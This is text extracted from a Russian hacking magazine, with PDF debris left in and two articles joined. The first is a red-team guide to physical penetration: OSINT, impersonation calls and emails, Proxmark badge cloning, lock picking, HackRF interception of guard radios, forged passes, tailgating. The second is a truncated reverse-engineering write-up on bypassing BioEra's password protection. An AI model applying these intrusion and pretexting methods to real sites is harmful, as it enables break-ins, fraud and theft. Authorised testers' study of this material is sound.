OSINT, или разведка­ по открытым­ источникам­ — разведыва­ тель­ ная­ дисципли­ ­ на, включающая­ в себя поиск, выбор и сбор разведыва­ тель­ ной­ информации­ из общедос­ тупных­ источников­ , а также­ ее анализ­ .

Первым­ делом нам нужно­ получить сведения­ о сотрудни­ ках­ компании­ . Мы выясняем­ почты­ , телефоны­ , аккаунты­ в социаль­ ных­ сетях, мессен­ дже­ рах­ и прочее­ .

Собрать­ нужно­ следующее­ :

адреса­ электрон­ ­ных почт сотрудни­ ­ков;

докумен­ ­ты — примеры­ договоров­ , штатное­ расписание­ и прочее­ в таком духе;

расположе­ ­ние организа­ ­ции;

планы­ зданий­ и сооружений­ ;

месторас­ ­положе­ние пропус­ ­кных пунктов­ , камер видеонаб­ ­людения и постов­ охраны­ .

КАКОЙ СОФТ ОБЛЕГЧАЕТ СБОР ДАННЫХ?

В первую­ очередь­ — поисковики­ , в том числе­ со всякими­ хитрыми­ запросами­ , которые называют­ Google Dorks. Подробнее­ о них читай в статьях­ «Google как средство­ взлома­ » и «Исполь­ зуем­ малоизвес­ тные­ функции­ Google, чтобы­ найти­ сокрытое­ ».

Также­ добавляй­ в закладки­ :

Google Hacking — помогает­ составлять­ дорки­ ;

intelx.io и snov.io — бесплат­ ­ные сервисы­ , которые помогают­ искать чувстви­ ­ тельные­ данные­ вроде­ паролей, поддоменов­ , электрон­ ­ных почт и прочего­ ;

Internet Archive — позволя­ ­ет отмотать­ сайт назад к прошлым­ версиям­ . Воз­ можно, получится­ найти­ удален­ ­ную или скрытую­ в новых версиях­ информа­ цию;

OSINT Telegram-боты («Глаз бога» и иже с ним) — вводим­ имеющуюся­ у нас инфу (почтовый­ ящик, телефон, странич­ ­ка в ВК) и получаем­ все, что есть в базе бота. Например­ , адреса­ , телефоны­ , социаль­ ­ные сети, данные­ пас­ порта, объявле­ ­ния;

Harvester — интерес­ ­ный инстру­ ­мент для Linux, который собирает­ имена­ , электрон­ ­ные почты­ , IP-адреса­ , поддомены­ и URL-адреса­ , используя­ зап­ росы ко множес­ ­тву открытых­ ресурсов­ ;

уличные­ камеры. Их, к примеру­ , агрегиру­ ­ют Яндекс Карты­ . Там же могут найтись­ и ссылки­ на планы­ зданий­ ;

сайты­ для поиска­ работы вроде­ HeadHunter. Если там найдут­ ­ся резюме известных­ нам сотрудни­ ­ков IT-подразде­ ­ления, мы сможем­ как минимум узнать о стеке­ технологий­ , с которыми­ они работают­ .

КАК СОСТАВЛЯТЬ ПИСЬМА ДЛЯ РАЗВЕДКИ?

Можешь­ предста­ ­вить­ся, например­ , сотрудни­ ­ком дочернего­ предпри­ ­ятия, сот­ рудником­ службы­ информацион­ ­ной безопасности­ или же рабочим подрядной­ организа­ ­ции. В общем, тем, от кого следующие­ дальше­ вопросы­ прозвучат­ убедитель­ ­но. Целью вопросов­ будет получить информацию­ о предпри­ ­ятии, сетевом оборудо­ ­вании, версиях­ операци­ ­онных систем­ , програм­ ­мно­го обес­ печения и так далее.

Так как рассылать­ письма­ , возможно­ , придет­ ­ся массово­ , тут нам может пригодить­ ­ся фреймворк­ Gophish, который позволя­ ­ет делать массовую­ рас­ сылку, отслеживать­ получение­ писем, открытие­ вложен­ ­ных файлов­ и переходы­ по ссылкам­ внутри­ письма­ .

Например­ , можно­ написать письмо­ в компанию­ , которая располага­ ется­

водном здании­ с проверя­ ­емой, и попросить­ оформить­ времен­ ­ный пропуск­ :

«Добрый­ день!

Моя компания­ заинтересо­ ­вана в ваших услугах­ . Для уточнения­ деталей

возможной­

сделки­ мне необходимо­

встретить­ ся­ с вашим предста­ вите­ -­

 

лем. Прошу­ выписать времен­ ный­

пропуск­

в бизнес­ центр. Удостоверя­

­-

»

ющие личность­

документы­ приложе­

ны­ файлом­ к письму­ .

 

 

 

С уважени­ ем­ , Зайцев­ Егор, предста­ витель­

VIP Holiday

 

 

НЕЛЬЗЯ ЛИ ПРОСТО ПОЗВОНИТЬ?

Конеч­ ­но, можно­ , а иногда­ даже лучше­ , чем писать письма­ ! Вживую­ у твоего­ собеседника­ будет меньше­ времени­ на сомнения­ , а у тебя появится­ шанс блеснуть­ актерским­ мастерс­ ­твом.

Звонишь­ в компанию­ и представ­ ­ляешь­ся, например­ , сотрудни­ ­ком IT-фир­ мы, обеспечива­ ­ющей техничес­ ­кую поддер­ ­жку програм­ ­мно­го обеспечения­ или оборудо­ ­вания организа­ ­ции. Прикрыва­ ­ясь легендой­ о починке­ и настрой­ ­ке, выведываешь­ информацию­ об инфраструктуре­ объекта­ .

Я предста­ ­вил­ся одним из управляющих­ в ФСТЭК (Федеральная­ служба­ по тех­ ническому­ и экспортному­ контро­ ­лю) и сообщил­ , что в данный­ момент мы про­ водим сверку­ предос­ ­тавлен­ных данных­ по объектам­ инфраструктуры­ .

У начальников­ цехов, заместителей­ начальников­ цехов, начальников­ сек­ торов, админис­ ­тра­торов я выспра­ ­шивал:

каков­ порядок получения­ наряда допуска­ , если он необходим­ ;

где расположе­ ­ны критичес­ ­кие узлы;

стоят­ ли замки­ и сигнализа­ ­ция на серверных­ шкафах­ ;

сущес­ ­тву­ют и оформле­ ­ны ли матрицы­ доступа­ ;

сущес­ ­тву­ют и оформле­ ­ны ли реестры­ автомати­ ­зиро­ван­ных систем­ (АСУ ТП).

Для подтвержде­ ­ния правиль­ ­нос­ти сведений­ я иногда­ просил­ выслать­ на почту­ проектную­ документацию­ .

Что до рядовых сотрудни­ ­ков, то у них можно­ спросить­ , есть ли локальные­ хранили­ ­ща данных­ , а если есть, то где, а также­ выяснить­ график­ работы.

КАКИЕ ЕЩЕ ЕСТЬ СПОСОБЫ ПРОВЕСТИ РАЗВЕДКУ?

Можно­ попробовать­ изобразить­ , что ты соискатель­ на какую то вакансию­ , и прийти­ на собеседова­ ние­ .

Так можно­ будет выяснить­ массу­ полезной­ информации­ о предпри­ ятии­ , его инфраструктуре­ , типе систем­ контро­ ля­ доступа­ (СКУД), особен­ ностей­ работы. По возможнос­ ти­ стоит­ постарать­ ся­ скопиро­ вать­ электрон­ ный­ пропуск­ , исполь­ зуя приблуду­ типа Proxmark.

На собеседова­ ­нии можно­ попросить­ провес­ ­ти обзорную экскурсию­ и таким образом­ получить дополнитель­ ­ную информацию­ о расположе­ ­нии объектов­ тестирова­ ­ния, наличии камер наблюдения­ и прочего­ . Параллель­ ­но оценива­ ­ем замки­ на сложность­ взлома­ , расположе­ ­ние и тип пропус­ ­кных зон, а также­ сос­ тавляем­ психоло­ ­гичес­кий портрет­ персонала­ , чтобы­ знать, как себя лучше­ вес­ ти при непосредс­ ­твен­ном проник­ ­новении.

Я предста­ вил­ ся­ специалис­ том­ , претен­ дующим­ на вакансию­ в департамент­ ИТ поддер­ жки­ . В конце­ интервью, как правило­ , соискателю­ предлага­ ют­ задать уточняющие­ вопросы­ о компании­ , поэтому­ я выяснил­ :

технологии­ , с которыми­ нужно­ будет работать;

контакты­ курирующих­ сотрудни­ ­ков (люди, которые помогают­ новичку­ адап­ тироваться­ и втянуть­ ­ся в работу);

способ­ получения­ времен­ ­ного пропус­ ­ка для прохож­ ­дения обзорной экскур­ сии.

По мере накопления­ опыта­ ты сам начнешь­ чувство­ вать­ , какие тактики­ в каких случаях­ лучше­ срабаты­ вают­ . То, что я описал­ , — это лишь вектор­ для даль­ нейших действий­ .

КАК ПРОНИКНУТЬ НА ОБЪЕКТ?

Проник­ нуть­ можно­ либо через уязвимые­ места­ периметра­ , о которых я уже говорил, либо методами­ социаль­ ной­ инженерии­ . Ищем способ­ сделать­ копию электрон­ ного­ пропус­ ка­ либо выдаем­ себя за работника­ обслужива­ юще­ го­ пер­ сонала (инженер­ , уборщик­ , охранник), соискателя­ на вакансию­ , курьера­ или еще кого то, кого пропус­ тят­ не территорию­ без подозрений­ .

КАК КЛОНИРОВАТЬ БЕЙДЖ?

Чтобы­ клониро­ ­вать бейдж­ , открывающий­ двери­ , обычно­ используют­ Proxmark — устройство­ для анализа­ , чтения­ и клониро­ ­вания меток RFID.

Сущес­ ­тву­ет пять популярных­ вариаций­ Proxmark:

Proxmark3;

Proxmark3 Easy (V3.0);

Proxmark3 RDV2;

Proxmark3 EVO;

Proxmark3 RDV4.

Хотя­ последние­ версии­ более наворочен­ ные­ , возможнос­ тей­ даже самой пер­ вой вполне­ достаточ­ но­ для наших задач.

Потребу­ ется­ также­ установить­ драйверы­ , чтобы­ твой ноутбук­ смог увидеть­ устройство­ , и утилиту­ Proxmark. При помощи утилиты­ ты можешь управлять устройством­ — считывать­ информацию­ с карт и записывать­ ее на карты­ бол­ ванки.

Имей в виду, что дальность­ действия­ гаджета­ ограничен­ ­на. Он может счи­ тать карту­ на рассто­ ­янии до 15 см в идеаль­ ­ных условиях­ .

Докумен­ тация­ Proxmark3

КАКИЕ БОЛВАНКИ НУЖНЫ ДЛЯ ПРОПУСКОВ?

Разные­ пропус­ кные­ системы­ могут применять­ разные­ типы RFID-болванок­ . Есть два основных типа меток RFID — низкочас­ тотные­ и высокочас­ тотные­ :

низкочас­ ­тотные (125 кГц) имеют­ большую­ дальность­ чтения­ , используют­ ­ся в примитив­ ­ных системах­ контро­ ­ля доступа­ : на предпри­ ­ятиях, в офисных­ пропус­ ­ках, абонемен­ ­тах в спортзал­ , домофонах­ и так далее;

высоко­ ­час­тотные (13,56 МГц) имеют­ меньшую­ дальность­ работы по срав­ нению с низкочас­ ­тотны­ми, используют­ ­ся в бесконтак­ ­тных банков­ ­ских кар­ тах, проездных­ билетах, безопасных­ пропус­ ­ках.

ПРИДЕТСЯ ЛИ ИСПОЛЬЗОВАТЬ ОТМЫЧКИ?

Отмычки­ , безусловно­ , пригодят­ ся­ . Для взлома­ как дверных­ замков­ , так и зам­ ков на серверных­ шкафах­ и защищенных­ панелях ПК. Возможно­ , даже придет­ ­ ся снимать­ блокира­ торы­ на портах­ USB и Ethernet.

До «боевого­ вылета» настоятель­ но­ советую попракти­ ковать­ ся­ на учебных­ зам­ ках, разные­ виды которых можно­ найти­ в интернет магазинах­ . Очевид­ но­ , что скорость­ вскрытия­ напрямую­ зависит от опыта­ и общего­ понимания­ уязвимос­ ­ ти замков­ . А так как время­ на объекте­ часто­ работает­ против­ нас, долгое­ копание с замком­ может «спалить­ контору­ » и плачев­ но­ сказать­ ся­ на резуль­ татах всей провер­ ки­ . Еще и по почкам­ от охраны­ можно­ огрести, пока будешь искать бумажку­ с разрешени­ ем­ начальника­ организа­ ции­ на проведе­ ние­ про­ верки­ . Так что не ленись! Закупи несколь­ ко­ разных­ видов замков­ и качай скилл дома в тепле­ .

Подробнее­ о локпикин­ ­ге читай в статье «LockPick. Какие бывают­ типы замков­ и почему все их можно­ вскрыть».

КАК СНИЗИТЬ РИСК БЫТЬ ПОЙМАННЫМ?

Чтобы­ тебя не изловила­ охрана­ , будет крайне­ полезно­ знать, о чем охранники­ говорят по рации. Для перехвата­ радиосиг­ нала­ существу­ ет­ отличный девайс — HackRF One. С его помощью на этапе­ разведки­ ты можешь перехватить­ час­ тоту, на которой работают­ рации охранников­ , и почерпнуть­ из их разговоров­ массу­ полезной­ информации­ : маршру­ ты­ патрулиро­ вания­ , расписание­ перес­

менок и так далее. Но самое важное­ — контроль­ скрытности­ наших действий­ . Как только­ слышим­ переговоры­ о каком то сомнитель­ ном­ хмыре­ , рыскающем­ по территории­ , делаем­ вывод, что пора сваливать­ или прятать­ ся­ .

Для работы с гаджетом­ тебе понадобит­ ­ся утилита­ SDRSharp.

1.Идем на сайт разработ­ ­чика и скачива­ ­ем архив sdrsharp-x86.zip.

2.Создаем­ на диске­ папку­ с названи­ ­ем sdrsharp и распаковы­ ­ваем туда наш архив. В распакован­ ­ной папке­ находим файл install-rtlsdr.bat и запускаем­ его. На экране­ появится­ командная­ строка­ , которая автомати­ ­чес­ки закроет­ ­

ся в течение несколь­ ких­ секунд. В папке­ появятся­ файлы­ rtlsdr.dll

иzadig.exe.

3.Если­ эти файлы­ не появились­ — попробуй­ на время­ установ­ ­ки отключить­ антивирус­ и повтори­ перечисленные­ выше действия­ .

4.Подклю­ ­чаем SDR-приемник­ по USB и запускаем­ файл Zadig.exe (от имени­ админис­ ­тра­тора!). Нажимаем­ Options, ставим­ галочку­ в строке­ List All Devices.

5.В строке­ Device выбираем­ Bulk-In, Interface (Interface 0). Могут выпадать

идругие­ устройства­ , такие как RTL2832U или RTL2832UHIDIR, их тоже мож­

но выбирать. В строке­ Driver после­ зеленой стрелки­ должно­ стоять­ WinUSB,

встроке­ USB ID — 0BDA 2838 00.

6.Жмем кнопку­ Replace Driver, игнориру­ ­ем системное­ сообщение­ с предуп­ ­ реждением­ , жмем «Установить­ ».

7.В папке­ с распакован­ ­ной программой­ SDRSharp находим и запускаем­ файл SDRSharp.exe. После­ запуска­ программы­ под строкой­ Source нажимаем­ на треуголь­ ­ник выбора устройств­ . Выбираем­ наше устройство­ RTLSDR(USB).

8.Устрой­ ­ство выбрано­ — теперь нажимаем­ шестерен­ ­ку вверху­ слева­ . Далее выходит окошко­ RTL-SDR Controller — задаем­ следующие­ параметры­ :

необхо­ ­димую частоту­ ;

тип модуляции­ — WFM;

Sample Rate — 2048 MSPS;

RTL AGC — включаем­ ;

ползунок­ регулировать­ в районе­ 20 дБ по ситуации­ .

9. Нажима­ ем­

кнопку­ Play слева­ вверху­ . Программа­

запущена­ и готова

к работе.

 

 

КАКИЕ ЕЩЕ ИНСТРУМЕНТЫ МОГУТ ПРИГОДИТЬСЯ?

Простор­

для фантазии­

здесь огромный. Например­ , ловко­

установ­ ленная­

на этапе­ разведки­

скрытая­ камера поможет тебе в наблюдении­

и анализе­

обстанов­ ки­ . Может пригодить­

ся­ и квадрокоп­

тер­ — с его помощью ты узнаешь­

много­ нового о конструк­ ции­

и особен­ ности­

здания­ , найдешь­

пожарные­

лес­

тницы­ , техничес­ кие­ люки и чердаки­ . Можешь заприметить­

и камеры с постами­

охраны­ , но помни­ , что и они твой агрегат­ тоже заметят.

 

 

 

 

 

 

 

 

 

 

 

 

Еще тебя может выручить поддель­

ный­

пропуск­

. Сделать­

качествен­

ный­

про­

пускной­

документ несложно­ . В интернете­ полно­ шаблонов­

на любой вкус:

начиная от работника­

СМИ и заканчивая­

сотрудни­ ком­

подрядной­

организа­ ции­ .

Для большей­

убедитель­

нос­ ти­ на них можно­ наклеить­

соответс­ тву­ ющие­

голог­

раммы — они тоже продают­

ся­ . Более «мягкий­ » вариант­ — подделка­

бейджа­

сотрудни­ ка­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Опять же понимание­

того, какие средства­ будут полезными­ , а на какие ты

только­ зря потратишь­

время­ и силы, придет­ с опытом­ . Иногда­ действи­ тель­

но­

нужен целый

рюкзак­

всякого­

барахла­ , но может не пригодить­

ся­ вообще­

ничего, кроме­ ноутбука­

и вежливой­

улыбки­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ПРИМЕР ПРОНИКНОВЕНИЯ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Все бумаги были подписаны­

, разрешения­

получены­ , и в день проник­ новения­

я

вошел в централь­

ный­

вход бизнес­ центра­ , успешно миновал проход­ ную­

бла­

годаря­ скопиро­ ван­ ному­

 

ранее пропус­ ку­ и направил­ ся­ к офису­ заказчика­ .

 

 

 

 

Как уточнялось­

в ТЗ, вход в офис регулировал­ ся­ отдельной­ картой­ , которой

на тот момент у меня не было. Так что я просто­ достал­ телефон и начал ими­ тировать­ деловую беседу в ожидании­ , что кто нибудь откроет­ нужную­ мне дверь. Минут через пять один из сотрудни­ ков­ компании­ заказчика­ наконец соизволил­ пройти­ в нужный­ офис и позволил­ мне прошмыгнуть­ за ним. Кстати­ , для метода следова­ ния­ по пятам легитимного­ сотрудни­ ка­ в нужные­ помеще­ ния даже есть специаль­ ный­ термин­ — tailgating.

Внутри­ офиса­ большая­ часть помещений­ была открыта­ , и я начал заходить во все подряд­ . Через какое то время­ один из сотрудни­ ­ков, увидев­ посторон­ ­ него человека­ в помещении­ , спросил­ , чем я тут, собствен­ ­но говоря, занима­ юсь. Для успокоения­ бдитель­ ­ного работника­ я расска­ ­зал заранее заготов­ ленную легенду­ о том, что я инженер­ и настра­ ­иваю сетевое оборудо­ ­вание. Этого­ оказалось­ достаточ­ ­но, и больше­ никто­ из сотрудни­ ­ков не обращал­ на меня внимания­ .

Моему­ взору­ предста­ ли­ рабочие столы­ сотрудни­ ков­ с беспечно­ лежащими­ на них печатями­ , USB-токенами­ , множес­ тво­ документов­ и жестких­ дисков­ (потенциаль­ но­ содержащих­ конфиден­ циаль­ ную­ информацию­ ). Ай яй яй!

За время­ осмотра офиса­ я также­ подметил­ , что одна из дверей­ закрыта­ на электрон­ ­ный замок. Зато прилега­ ­ющее к ней помещение­ было открыто­

и пустовало­ . Когда­ я туда заглянул­ , выяснилось­ , что от запертой­ комнаты­ меня отделяет­ лишь невысокая­ перегород­ ка­ , через которую я невозмутимо­ перелез. Внутри­ было несколь­ ко­ работающих­ компьюте­ ров­ , один из которых не был заблокиро­ ван­ . Открыв на нем браузер­ , я смог увидеть­ все сохранен­ ные­ пароли, получил возможность­ изучить­ всю личную­ и внутреннюю­ переписку­ , а также­ запустить­ корпоратив­ ную­ программу­ , работа с которой может повлиять­ на бизнес­ процес­ сы­ компании­ .

Закон­ ­чив осмотр офиса­ , я отправил­ ­ся на разведку­ по коридорам­ и нашел серверную­ . Дверь была заперта­ , но я постучал­ , и мне открыл админ, который

не был предуп­ режден­

о провер­ ке­ . Я вежливо­

предста­ вил­ ся­ инженером­

сто­

ронней­ компании­ , который опять же, согласно­

легенде­ , по согласова­ нию­

с тех­

ническим­

директором­

должен­

был провес­ ти­ настрой­ ку­ сетевого­ оборудо­ вания­ .

Наивный­

и радушный­

админ спокой­ но­ пропус­ тил­ меня внутрь и даже помог

найти­ подходящий­

разъем­ Ethernet для моего ноута. Я же, одурев­ от собствен­

­

ной безнаказан­

ности­ , помимо прочего­ , успел скопиро­ вать­

его пропуск­

, когда­

тот отвернулся­ . Через

какое то время­ имитации­

бурной­

деятельнос­ ти­ я

и горемычный­

админ вышли­ покурить, после­ чего тот отправил­ ся­ на обед. Я же

вернулся­

в серверную­

и прошел­

внутрь по скопиро­ ван­ ной­

ранее карте­ . Быс­

тренько­ подобрав­

отмычки, вскрыл серверный­

шкаф

и задокумен­ тировал­

это достижение­

на фото во всех ракурсах­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Так как скопиро­ ван­ ный­

мной пропуск­

был админским­

(а они обычно­ имеют­

доступ­ к большинс­ тву­ техничес­ ких­ помещений­ ), проник­ новение­

в хранили­ ще­ ,

где лежали резервные­

копии, тоже не было проблемой­ . Серверный­

ящик я

вскрыл и тоже запечатлел­ это для протоко­ ла­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

На этом все мои задачи были выполнены­

. Я спокой­ но­ вышел через ту же

проход­ ную­ , что и вошел, и отправил­ ся­ уже в свой офис строчить­

отчет о про­

деланной­

работе.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ИЗУЧАЕМ ПРИЛОЖЕНИЕ, СОЗДАННОЕ В BIOERA

Диковин­

ных­

 

сред

разработ­

ки­

софта­

 

 

 

существу­ ет­ множес­ тво­ . Сред визуаль­ ного­

 

программи­

рова­

ния­

— чуть

 

меньше­ ,

 

а популярные­

среди­ них и вовсе­ можно­

 

 

пересчитать­

по пальцам­ .

Сегодня­

я

МВК

 

 

 

 

 

 

 

 

 

 

 

покажу, как можно­

обойти­

парольную­

 

защиту

в

 

программах­ ,

 

созданных­

 

с помощью довольно­ редкого­

инстру­ мен­ та­

 

под названи­

ем­ BioEra.

 

 

 

 

 

 

Этой статьей­ я продол­ жаю­ тему визуаль­ ного­ программи­ рова­ ния­ , свое отно­ шение к которому­ я уже подробно­ и исчерпывающе­ выразил в статье с говоря­ щим названи­ ем­ «Полное­ G. Ломаем­ приложе­ ние­ на языке­ G, созданное­

в LabVIEW». А что, если программу­ из этой статьи написать на Java, потом час­ тично скомпилиро­ вать­ , а частично­ — зашифровать­ код? Получится­ софтина­ , собранная­ с использовани­ ем­ проекта­ BioEra!

Из информации­ на сайте­ (имеющем­ весьма­ спартан­ ский­ дизайн, как и сама среда­ программи­ рова­ ния­ ) можно­ узнать, что инстру­ мент­ позволя­ ет­ создавать­ кросс платформен­ ные­ приложе­ ния­ для обработ­ ки­ сигналов­ с датчиков­ и игро­ вых контрол­ леров­ . Еще в BioEra можно­ разрабаты­ вать­ софт для обработ­ ки­ зву­ ка, что характерно­ , абсолют­ но­ не имея навыков программи­ рова­ ния­ — как раз то, что нужно­ современ­ ному­ начинающе­ му­ кодеру!

 

Статья имеет­ ознакоми­

тель­ ный­

характер­ и пред­

 

назначена­

для

специалис­

тов­

по безопасности­

,

 

проводя­

щих­

тестирова­

ние­

в рамках­

контрак­ та­ .

 

Автор и

редакция­

не несут

 

ответствен­ ности­

 

за любой вред, причинен­ ный­

с примене­ нием­

 

изложен­ ной­

информации­ . Распростра­

нение­

вре­

 

доносных­

программ­ , нарушение­

работы систем­

 

и нарушение­

тайны­

переписки­ преследу­

ются­

 

по закону.

 

 

 

 

 

 

 

 

 

 

 

 

Дабы­ не нарушать законы, скачаем­ с сайта­ триаль­ ­ную версию­ этой среды­ раз­ работки­ и попробу­ ­ем решить простую­ задачу: обойти­ парольную­ защиту на редактирова­ ­ние скомпилиро­ ­ван­ных в BioEra файлов­ визуаль­ ­ных проектов­ . BPD (разработ­ ­чики гордо­ называют­ их «дизайнами­ »). Как и в любой другой­ сре­

де разработ­ ­ки visual programming language (типа LabView), проект­ тут в прямом­ смысле­ рисуется­ в визуаль­ ­ном редакторе­ в виде блок схемы­ .

Разуме­ ­ется, при такой открытос­ ­ти исходников­ в BioEra существу­ ­ют способы­ оградить­ «дизайн» от шаловливых­ ручек хакеров, которым вздумает­ ­ся дизас­ сембли­ ­ровать, а то и поправить­ проект­ . Защита тут использует­ ­ся попроще­ , чем в LabView, но все равно­ можно­ поставить­ на «дизайн» пароль на открытие­

и редактирова­ ­ние визуаль­ ­ной блок схемы­ . Именно­ такую защиту мы и поп­ робуем­ обойти­ , ведь это путь к постижению­ логики постро­ ­ения приложе­ ­ний данной­ среды­ разработ­ ­ки.

Сразу­ забегая вперед­ , скажу­ , что существу­ ет­ и более простой­ способ­ — сервисный­ режим разработ­ чика­ , в котором парольная­ защита просто­ игно­ рируется­ , но мы легких­ путей не ищем и занимаемся­ решением­ этой задачи исключитель­ но­ из спортивно­ го­ интереса­ в познаватель­ ных­ целях.

Итак, смотрим­ файл bioera.exe из скачан­ ­ного и установ­ ­ленно­го триала­ . DetectItEasy не видит на нем никакой защиты и предполага­ ­ет, что приложе­ ­ние написано­ на си. Запускаем­ его и пытаемся­ им открыть запаролен­ ­ный дизайн. Выскакива­ ­ет окошко­ ввода­ пароля.

Таких­ строк нет в EXE-файле­ , более того, их нет вообще­ ни в одном файле­ установ­ ленно­ го­ пакета, когда­ мы пытаемся­ их отыскать­ глобаль­ ным­ поиском­ . Топорный­ дизайн окон напоминает­ Java, в пакете действи­ тель­ но­ обнаружи­ ­ вается­ великое множес­ тво­ Jar-библиотек­ , но поиск по их содержимому­ тоже ничего не дает. Аттачим­ ся­ к запущенному­ процес­ су­ при помощи нашего любимого­ отладчика­ x32dbg и видим, что это не то чтобы­ совсем­ явная Java, — виртуаль­ ная­ машина JVM интегрирова­ на­ прямо­ в EXE-файл. Нечто­ подобное­ я описывал­ в своей­ статье «Суровая­ жаба. Изучаем­ защиту Excelsior JET для программ­ на Java».

 

 

 

 

 

 

 

 

 

Стек вызовов прерванно­ го­ процес­ са­

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

То, что ядро этого­ монстра­ написано­ на примитив­ ной­

32-битной­

Java, — вне

всякого­

сомнения­ , нужно­ лишь выяснить­

, где именно­ находится­ этот код, ведь

простым­

поиском­

его в файлах­ проекта­

не обнаружить­

. Значит­ , он или хитро­

упакован­

, или зашифрован­

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Попробу­

ем­ подойти­ к решению задачи с другой­ стороны­

: отследим­

файлы­ ,

к которым приложе­ ние­ обращает­

ся­ при загрузке­ . Для этого­ запускаем­

утилиту­

Process

Monitor (ProcMon),

 

устанав­ лива­ ем­ фильтр­ на процесс­

bioera.exe

и отслежива­ ем­ все его обращения­

 

к файловой­

системе­ . Очень непростое­

решение, посколь­

ку­ мы по опыту­ уже знаем­ , насколь­

ко­ длинные­

простыни­

обращений­

к самым разным­

файлам­

нам придет­ ся­ отслеживать­

в результате­ .

В нашем случае­

самым главным­

кандидатом­

на вместилище­

 

кода будет

довольно­ увесис­ тый­

файл be.cbe из

подкатало­ га­ \ext, который

грузит­ ся­

в память целиком последова­ тель­

ными­

порциями­

по 65 535 (0xFFFF) байт.

При беглом­

просмотре­

этот файл (за исключени­ ем­ 5-байтового­

заголовка­

CBE01) представ­ ляет­

 

собой умерен­ но­ энтропичес­ кую­

кашу из символов­

— он

явно упакован­

или

 

зашифрован­

каким то алгорит­ мом­

собствен­

ного­

изоб­

ретения.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Ну что ж, попробу­

ем­ его изучить­ . Для этого­ снова­ загружа­ ем­ отладчик

x32dbg

и запускаем­

 

оттуда­ файл bioera.exe, предваритель­

но­ установив­

условную точку­ останова­

 

на ReadFile с условием­

 

 

останов­ ки­ [esp+0xC]

==0x0FFFF. В первый­

 

раз нас ждет осечка­ — программа­

в отладчике­ завер­

шается­ , не достигнув­

точки­ останова­ . Однако­ на экране­ окно программы­

все таки загрузилось­

, уже вне отладчика­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Пробуем­

приатта­ чить­ ся­ к ее процес­ су­ и видим, что программа­

просто­

перезагрузила­

сама себя со следующи­ ми­ параметрами­

командной­

строки­ :

"C:\Program Files (x86)\BioEraTrial\bioera.exe" launcher -root C:\

Program%20Files%20(x86)\BioEraTrial\ -j15

Меняем­ в x32dbg командную­ строку­ на эту и снова­ запускаем­ приложе­ ние­ . На этот раз точка­ останова­ срабаты­ вает­ . Искомый­ вызов из — это стандар­ ­ тный Javaзагрузчик­ заданного­ количества­ байтов­ из файла­ :

<_Java_java_io_FileInputStream_readBytes@20>

Попробу­ ­ем отследить­ дальнейшую­ судьбу­ прочитан­ ­ных с его помощью байтов­ . Эта задача будет чуть посложнее­ . Для начала ставим­ точку­ останова­ на доступ­ к какому нибудь байту­ из свежес­ ­читан­ного буфера. Прочитан­ ­ные байты­ будут

несколь­ ­ко раз перемещать­ ­ся из массива­ в массив­ , и каждый­ раз придет­ ­ся уби­ рать аппарат­ ­ную точку­ останова­ в прежней­ локации и переставлять­ ее на новое место­ . В конце­ концов­ наши усилия­ увенчива­ ­ются успехом­ : нужный­ байт выбирается­ из массива­ из скомпилиро­ ­ван­ного JVM-кода:

movsx ebx,byte ptr ds:[edx+eax+C]

mov eax,ebx

 

;

eax <- считанный из буфера байт

 

movzx ebx,byte ptr ds:[esi+1]

; esi — указатель на

следующий JVM-опкод, который загружается в ebx

inc esi

 

; Следующий опкод в esi

jmp dword ptr ds:[ebx*4+6DA6C148]

;

Переход на обработчик следующего опкода

Как видим, в нашей версии­

приложе­ ния­

реализова­ на­ довольно­ примитив­ ­

ная 32-битная­ Java-машина. JVM-код даже не скомпилиро­ ­ван, а просто­ интер­

претиру­

ется­

в процес­ се­ выполнения­ , чем объясня­ ется­

изрядная неповорот­ ­

ливость программы­

. В принципе­ , если у тебя есть в запасе уйма свобод­ ного­

времени­ , ты можешь дизассем­ бли­ ровать­

алгоритм­

расшифров­ ки­ , попрыгав­

в отладчике­ по коду, но мы поступим­

проще­ . Ведь это не какие нибудь

Themida или VMProtect, а вполне­ заурядная­ и широко известная­

JVM, ее сис­

 

 

 

 

 

esi

 

тема команд задокумен­

тирова­ на­ , и у

 

нас в регистре­

есть адрес

на исполняемый­

в данный­

момент шитый код.

 

 

 
